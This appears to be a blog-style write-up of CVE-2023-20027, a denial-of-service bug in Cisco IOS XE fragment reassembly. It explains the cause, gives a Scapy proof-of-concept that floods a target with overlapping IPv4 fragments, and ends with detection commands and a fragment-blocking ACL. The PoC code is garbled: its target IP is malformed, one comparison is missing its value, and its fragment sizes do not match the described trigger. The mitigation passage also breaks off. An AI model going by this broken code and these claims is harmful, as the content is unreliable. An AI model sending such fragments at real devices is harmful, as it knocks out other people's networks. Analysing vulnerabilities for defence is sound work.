A serious flaw in Cisco’s IOS XE software, now tracked as CVE-2023-20027, can let an attacker remotely crash affected Cisco devices—potentially knocking out whole segments of your network. In this exclusive read, you’ll learn what this bug is, how it works, see code snippets demonstrating the issue, and get guidance on detection and mitigation.

What Is CVE-2023-20027?

CVE-2023-20027 is a Denial of Service (DoS) vulnerability in Cisco’s IPv4 Virtual Fragmentation Reassembly (VFR) feature. The bug kicks in specifically when:

VFR is enabled on a physical interface with a MTU above 4615 bytes

When triggered by specially crafted fragmented packets, it causes the device to reload (AKA crash and reboot), leading to a denial of service.

Why Should You Worry?

Cisco IOS XE runs on many routers, switches, and network hardware. If one of your backbone or critical access routers goes offline suddenly, apps, VoIP calls, VPNs, or even your internal communications can collapse.

Widely deployed — feature is on by default in many tunneling or high-MTU configs.

- Difficult to detect — attack can look like ordinary fragmented packets unless closely monitored.

The Root Cause—Explained Simply

Normally, when a device receives fragmented packets, it keeps them in memory and tries to put them back together (reassemble) before forwarding.

In VFR's implementation, when dealing with a very large MTU (>4615 bytes), the reassembly code fails to properly check some limits. An attacker sends a series of big, overlapping, or malformed fragments. Trying to put them back together, the Cisco device encounters a logic problem, causing a memory error or crash.

Proof-of-Concept (PoC): Sending Malicious Fragments

Below is a simplified Python script using Scapy to generate and send oversized, overlapping IPv4 fragments at a target using a VFR-enabled high-MTU interface.

> Warning: This is for educational purposes only. Running this against devices you don’t own is illegal and unethical.

from scapy.all import *

target_ip = "192..2.1"  # Replace with the target's IP address

payload = b"A" * 500  # Large payload to trigger reassembly
pkt = IP(dst=target_ip)/UDP(dport=1234, sport=4321)/Raw(load=payload)

# Create fragments (simulate large MTU fragmenting)
frags = fragment(pkt, fragsize=150)  # Each fragment ~150 bytes

# Inject bad overlaps (duplicates or overlaps)
for frag in frags:
    send(frag)
    # Send a duplicate/overlapping fragment
    if frag.frag == : 
        bad_frag = frag.copy()
        bad_frag.frag = 1  # Overlap offset
        bad_frag[Raw].load = b"B" * 500
        send(bad_frag)

What This Does:
- Sends normal fragments and overlapping/bad fragments.

Official References

- Cisco Security Advisory for CVE-2023-20027
- NVD CVE-2023-20027 Details

How to Check If You’re Vulnerable

1. Is VFR Enabled?  
VFR is active on interfaces where IPv4 fragmentation inspection is needed—commonly on GRE, IPsec, or other tunnel interfaces, or when the MTU is raised.

Check current configuration

show running-config | include fragmentation
show interfaces | include MTU

If you see VFR enabled with a MTU > 4615 bytes, you may be at risk.

Mitigation and Fixes

As per Cisco’s official advisory:

Sample ACL to block suspicious fragments

ip access-list extended BLOCK-FRAGMENTS
  deny ip any any fragments
  permit ip any any
!
interface Tunnel
 ip access-group BLOCK-FRAGMENTS in

Collect and review logs

show logging | include FRAGMENT

Final Thoughts

CVE-2023-20027 is a stark reminder: even basic packet processing features can hold critical risks, especially when older protocols (like IPv4 fragmentation) meet modern configurations (tunnels, jumbo frames). Patch now, review your MTU and VFR settings, and keep a close eye on fragment traffic flows.

Further Reading and References

- Cisco’s Security Advisory
- Official CVE Details
- Scapy Documentation

Timeline

Published on: 03/23/2023 17:15:00 UTC
Last modified on: 04/05/2023 18:18:00 UTC